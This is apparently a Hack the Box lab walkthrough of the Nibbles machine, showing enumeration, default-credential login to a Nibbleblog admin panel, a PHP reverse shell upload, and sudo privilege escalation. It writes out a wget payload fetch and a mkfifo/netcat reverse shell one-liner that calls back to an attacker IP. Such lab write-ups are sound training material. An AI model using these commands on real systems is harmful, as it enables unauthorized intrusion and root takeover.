Hack the Box - Nibbles - Walkthrough

Introduction

Today we're going to be doing a pentest walkthrough of the Nibbles machine hosted at https://hackthebox.eu . For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Nibbles machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.99.239.

Scanning and Enumeration

We'll start by scanning for open ports with Nmap:

nmap -T4 -p- 10.129.99.239

Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:

sudo nmap -sV -T4 -p22,80 10.129.99.239

The target has a web service running on port 80. Let's visit that page now:

http://10.129.99.239/

Not much here, but let's take a look at the page's source:

view-source:http://10.129.99.239/

This source hints at a directory called /nibblesblog. Let's follow up on that:

http://10.129.99.239/nibblesblog

We've confirmed that there's a blog here. Now that we have a root directory for this website, let's do some directory busting with Gobuster:

gobuster dir -u http://10.129.99.239/nibbleblog/ -w /usr/share/wordlists/dirb/big.txt -r -x php,bak,html,txt,tar -s 200,204,301,302,307,403,401     

We'll be investigating each of these entries eventually, starting with README,

http://10.129.99.239/nibbleblog/README

Here we can confirm the software running the blog, Nibbleblog version 4.0.3. Let's see if Google can give us anything:

Google search string: nibbleblog 4.0.3 exploit

Let's follow this link:

https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html

Finding a Way In

This exploit requires admin access to the blog, access to the upload web directory, and a malicious file for us to upload.

Investigating the /nibbleblog/contents directory eventually leads us to this page:

http://10.129.99.239/nibbleblog/content/private/plugins/my_image

This is likely the directory where our file will be stored after we upload it. Now to visit the admin.php page:

http://10.129.99.239/nibbleblog/admin.php

We try logging in as username: admin, password: nibbles, and it works.

http://10.129.99.239/nibbleblog/admin.php?controller=dashboard&action=view

Now let's access the plugins:

http://10.129.99.239/nibbleblog/admin.php?controller=plugins&action=list

And now to look into the image upload plugin:

http://10.129.99.239/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image

Before we go through with uploading a file through the web app, let's prepare the PHP file we want to upload, and setup our Netcat listener.  The PHP file we will use can be found here:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Let's download the file to our working directory:

wget -O customPHPrevShell.php https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Then we'll modify the PHP file to match our attacking system:

Then we setup our Netcat listener:

sudo nc -nlvp 443

Now we can go back to the web app and upload our PHP file:

http:///10.129.99.239/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image

Here we click the browse button:

Then select our PHP file and click "Open"

Then, to finish the file upload process, we click the "Save changes" button.

With our file uploaded to the server, we can now go back to the my_image plugin directory to look for our PHP file:

http:///10.129.99.239/nibbleblog/content/private/plugins/my_image

The file was renamed when it was uploaded, but here it is.  Let's access it and open up our reverse shell:

http:///10.129.99.239/nibbleblog/content/private/plugins/my_image/image.php

This PHP reverse shell has done a little work for us, and we know our user's name and the OS version.

Capturing the User Flag

We'll take this opportunity to collect the system's User flag.  User flags on Hack the Box Linux are usually located in a user's /home directory.  Let's go get that now:

cat /home/nibbler/user.txt

Prvilege Escalation

Let's see if our user can run any commands as root:

sudo -l

It looks like our user can execute a specific bash script file as root.  Let's take a look at the user's home directory:

cd /home/nibbler/

ls

Now let's unzip this file and see what comes out:

unzip personal.zip

There's the monitor.sh script that the sudo -l output was referring to.  If we can run this script as root, and we can write to this file, then we can setup another Netcat listener on our attacking machine, the write instructions to the script to open a reverse shell to our attacking system.  Since we will run the script as root, the reverse shell that is opened on our attacking system will be a root shell.  First, let's start our second Netcat listener:

sudo nc -nlvp 80

Then we write a reverse shell to the monitor.sh script and execute it with sudo:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.84 80 >/tmp/f" > monitor.sh
sudo ./monitor.sh
whoami

Capturing the Root Flag

The Root flag on Hack the Box Linux systems is usually located in the /root directory.  Let's capture it now:

cat /root/root.txt

Summary

After initial scans, we found that the target's blog software was vulnerable to an arbitrary file upload vulnerability, which we used to establish a foothold on the system.  Once in, we found that our logged in user was able to run a script file as root, which led to us opening a root shell on our attacking system and capturing the objective flag file.

Finish